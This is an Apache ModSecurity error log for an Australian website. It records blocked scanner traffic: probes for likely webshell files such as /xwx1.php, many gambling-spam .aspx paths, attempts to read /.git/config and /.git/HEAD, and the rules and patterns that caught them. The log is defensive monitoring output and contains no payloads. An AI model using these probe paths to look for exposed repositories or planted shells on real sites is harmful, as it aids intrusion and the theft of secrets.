[Sat Apr 25 22:19:21.104418 2026] [:error] [pid 59896:tid 59907] [client 20.215.66.169:26280] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aezNabLLzhtkd-OXUgAJsQAAAEc"]
[Sat Apr 25 22:19:21.738805 2026] [:error] [pid 3212:tid 3219] [client 20.215.66.169:53034] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aezNafg-28TY8_YLtUdRMAAAAQU"]
[Sat Apr 25 22:19:22.442042 2026] [:error] [pid 59897:tid 59939] [client 20.215.66.169:42162] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aezNavBrrkdzpEbmK4eR8AAAAIw"]
[Sat Apr 25 22:19:23.159834 2026] [:error] [pid 59897:tid 59944] [client 20.215.66.169:52868] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aezNa_BrrkdzpEbmK4eR8gAAAJE"]
[Sat Apr 25 22:19:23.774258 2026] [:error] [pid 59897:tid 59929] [client 20.215.66.169:64854] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aezNa_BrrkdzpEbmK4eR8wAAAII"]
[Sat Apr 25 22:19:24.655280 2026] [:error] [pid 59896:tid 59914] [client 20.215.66.169:55511] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aezNbLLLzhtkd-OXUgAJtwAAAE4"]
[Sat Apr 25 22:49:44.438679 2026] [:error] [pid 3212:tid 3236] [client 147.135.213.27:39390] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aezUiPg-28TY8_YLtUdgnAAAARY"]
[Sat Apr 25 22:49:46.939542 2026] [:error] [pid 59898:tid 59974] [client 147.135.213.27:57680] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aezUih-4vImxb0kbdze7OgAAANQ"]
[Sat Apr 25 22:49:49.311994 2026] [:error] [pid 3212:tid 3214] [client 147.135.213.27:57684] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aezUjfg-28TY8_YLtUdgqgAAAQA"]
[Sat Apr 25 22:49:51.851113 2026] [:error] [pid 3212:tid 3238] [client 147.135.213.27:57700] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aezUj_g-28TY8_YLtUdgsAAAARg"]
[Sat Apr 25 22:49:59.959295 2026] [:error] [pid 3212:tid 3228] [client 147.135.213.27:48752] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aezUl_g-28TY8_YLtUdgygAAAQ4"]
[Sat Apr 25 22:50:02.408525 2026] [:error] [pid 59898:tid 59978] [client 147.135.213.27:48756] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aezUmh-4vImxb0kbdze7SgAAANg"]
[Sat Apr 25 22:50:04.963866 2026] [:error] [pid 59896:tid 59903] [client 147.135.213.27:36012] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aezUnLLLzhtkd-OXUgATuwAAAEM"]
[Sat Apr 25 22:50:07.362856 2026] [:error] [pid 3212:tid 3215] [client 147.135.213.27:36020] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aezUn_g-28TY8_YLtUdg1gAAAQE"]
[Sat Apr 25 22:50:10.004385 2026] [:error] [pid 59896:tid 59924] [client 147.135.213.27:36022] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aezUorLLzhtkd-OXUgATvwAAAFg"]
[Sat Apr 25 22:50:12.574551 2026] [:error] [pid 59985:tid 59990] [client 147.135.213.27:36038] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aezUpAF_zDvEhKvyTH7KYwAAAAM"]
[Sat Apr 25 22:50:15.006248 2026] [:error] [pid 59896:tid 59916] [client 147.135.213.27:44606] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aezUp7LLzhtkd-OXUgATwQAAAFA"]
[Sat Apr 25 22:50:17.576118 2026] [:error] [pid 59897:tid 59947] [client 147.135.213.27:44618] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aezUqfBrrkdzpEbmK4eYkgAAAJQ"]
[Sat Apr 25 22:50:20.116377 2026] [:error] [pid 59898:tid 59967] [client 147.135.213.27:44630] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aezUrB-4vImxb0kbdze7WQAAAM0"]
[Sat Apr 25 22:50:22.502794 2026] [:error] [pid 3212:tid 3235] [client 147.135.213.27:44644] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aezUrvg-28TY8_YLtUdg4AAAARU"]
[Sat Apr 25 22:50:25.037928 2026] [:error] [pid 59985:tid 59994] [client 147.135.213.27:49410] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aezUsQF_zDvEhKvyTH7KbQAAAAc"]
[Sat Apr 25 22:50:27.400227 2026] [:error] [pid 3212:tid 3215] [client 147.135.213.27:49418] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aezUs_g-28TY8_YLtUdg6QAAAQE"]
[Sat Apr 25 22:50:29.922181 2026] [:error] [pid 3212:tid 3220] [client 147.135.213.27:49426] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aezUtfg-28TY8_YLtUdg7gAAAQY"]
[Sat Apr 25 22:50:32.583590 2026] [:error] [pid 59897:tid 59941] [client 147.135.213.27:49430] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aezUuPBrrkdzpEbmK4eYlwAAAI4"]
[Sat Apr 25 22:50:34.993510 2026] [:error] [pid 3212:tid 3232] [client 147.135.213.27:53534] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aezUuvg-28TY8_YLtUdg-gAAARI"]
[Sat Apr 25 22:50:37.535720 2026] [:error] [pid 59896:tid 59906] [client 147.135.213.27:53538] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aezUvbLLzhtkd-OXUgAT1AAAAEY"]
[Sat Apr 25 22:50:40.048799 2026] [:error] [pid 3212:tid 3225] [client 147.135.213.27:53540] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aezUwPg-28TY8_YLtUdhBgAAAQs"]
[Sat Apr 25 22:51:00.716220 2026] [:error] [pid 3212:tid 3234] [client 147.135.213.27:53550] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aezU1Pg-28TY8_YLtUdhYQAAARQ"]
[Sat Apr 25 22:51:03.050296 2026] [:error] [pid 59897:tid 59945] [client 147.135.213.27:58190] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aezU1_BrrkdzpEbmK4eYqgAAAJI"]
[Sat Apr 25 22:51:05.375804 2026] [:error] [pid 59897:tid 59930] [client 147.135.213.27:44544] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aezU2fBrrkdzpEbmK4eYqwAAAIM"]
[Sat Apr 25 22:51:07.792430 2026] [:error] [pid 3212:tid 3229] [client 147.135.213.27:44558] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aezU2_g-28TY8_YLtUdhbwAAAQ8"]
[Sat Apr 25 22:51:10.082064 2026] [:error] [pid 59898:tid 59955] [client 147.135.213.27:44566] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aezU3h-4vImxb0kbdze7ZQAAAME"]
[Sat Apr 25 22:51:12.636596 2026] [:error] [pid 59896:tid 59913] [client 147.135.213.27:44572] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aezU4LLLzhtkd-OXUgAUOgAAAE0"]
[Sat Apr 25 22:51:14.988590 2026] [:error] [pid 3212:tid 3235] [client 147.135.213.27:55568] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aezU4vg-28TY8_YLtUdhewAAARU"]
[Sat Apr 25 22:51:17.400972 2026] [:error] [pid 59985:tid 60001] [client 147.135.213.27:55578] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aezU5QF_zDvEhKvyTH7KlQAAAA4"]
[Sat Apr 25 22:51:19.826346 2026] [:error] [pid 59985:tid 60005] [client 147.135.213.27:55590] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aezU5wF_zDvEhKvyTH7KmgAAABI"]
[Sat Apr 25 22:51:22.334112 2026] [:error] [pid 59985:tid 60006] [client 147.135.213.27:55606] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aezU6gF_zDvEhKvyTH7KoQAAABM"]
[Sat Apr 25 22:51:24.716316 2026] [:error] [pid 59898:tid 59976] [client 147.135.213.27:56952] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aezU7B-4vImxb0kbdze7agAAANY"]
[Sat Apr 25 22:51:27.264629 2026] [:error] [pid 59985:tid 60006] [client 147.135.213.27:56956] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aezU7wF_zDvEhKvyTH7KsQAAABM"]
[Sat Apr 25 22:51:29.662647 2026] [:error] [pid 3212:tid 3228] [client 147.135.213.27:56962] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aezU8fg-28TY8_YLtUdhkAAAAQ4"]
[Sat Apr 25 22:51:32.044857 2026] [:error] [pid 59897:tid 59946] [client 147.135.213.27:56974] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aezU9PBrrkdzpEbmK4eYvgAAAJM"]
[Sat Apr 25 22:51:34.418276 2026] [:error] [pid 59897:tid 59942] [client 147.135.213.27:55000] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aezU9vBrrkdzpEbmK4eYwgAAAI8"]
[Sat Apr 25 22:51:36.946003 2026] [:error] [pid 59985:tid 59989] [client 147.135.213.27:55004] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aezU-AF_zDvEhKvyTH7KuQAAAAI"]
[Sat Apr 25 22:51:39.457789 2026] [:error] [pid 59985:tid 59994] [client 147.135.213.27:55012] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aezU-wF_zDvEhKvyTH7KxQAAAAc"]
[Sat Apr 25 22:51:41.849014 2026] [:error] [pid 59896:tid 59921] [client 147.135.213.27:55026] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aezU_bLLzhtkd-OXUgAUbgAAAFU"]
[Sat Apr 25 22:51:44.359494 2026] [:error] [pid 59897:tid 59941] [client 147.135.213.27:44964] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aezVAPBrrkdzpEbmK4eYyAAAAI4"]
[Sat Apr 25 22:51:46.745016 2026] [:error] [pid 59985:tid 59989] [client 147.135.213.27:44972] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aezVAgF_zDvEhKvyTH7K5wAAAAI"]
[Sat Apr 25 22:51:49.297620 2026] [:error] [pid 3212:tid 3220] [client 147.135.213.27:44986] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aezVBfg-28TY8_YLtUdh0AAAAQY"]
[Sat Apr 25 22:51:51.877171 2026] [:error] [pid 59897:tid 59929] [client 147.135.213.27:44990] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aezVB_BrrkdzpEbmK4eYzAAAAII"]
[Sat Apr 25 23:55:25.578527 2026] [:error] [pid 59896:tid 59917] [client 93.123.109.79:58208] [client 93.123.109.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aezj7bLLzhtkd-OXUgAwPQAAAFE"]
[Sat Apr 25 23:55:26.547634 2026] [:error] [pid 59898:tid 59954] [client 93.123.109.79:56080] [client 93.123.109.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aezj7h-4vImxb0kbdzfKFwAAAMA"]
[Sun Apr 26 00:40:24.681764 2026] [:error] [pid 59897:tid 59946] [client 43.157.95.131:39268] [client 43.157.95.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aezuePBrrkdzpEbmK4ezrwAAAJM"]
[Sun Apr 26 00:54:59.161283 2026] [autoindex:error] [pid 3212:tid 3214] [client 185.198.240.145:23249] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 26 01:25:02.808700 2026] [:error] [pid 59898:tid 59977] [client 147.135.214.166:45578] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aez47h-4vImxb0kbdzfb3QAAANc"]
